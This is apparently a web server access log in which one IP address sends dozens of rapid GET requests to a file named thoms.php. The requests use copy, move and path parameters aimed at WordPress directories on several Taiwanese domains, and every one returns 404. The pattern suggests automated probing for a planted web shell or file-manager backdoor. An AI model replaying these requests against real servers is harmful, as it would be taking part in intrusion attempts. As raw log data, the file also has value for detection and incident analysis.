45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:31 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:32 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2Fclient-global HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:33 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bft.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2F.tmb HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2F.tmb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2Fsync-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:34 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:57:35 -0400] "GET /thoms.php?copy=bodbooks.com.tw&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
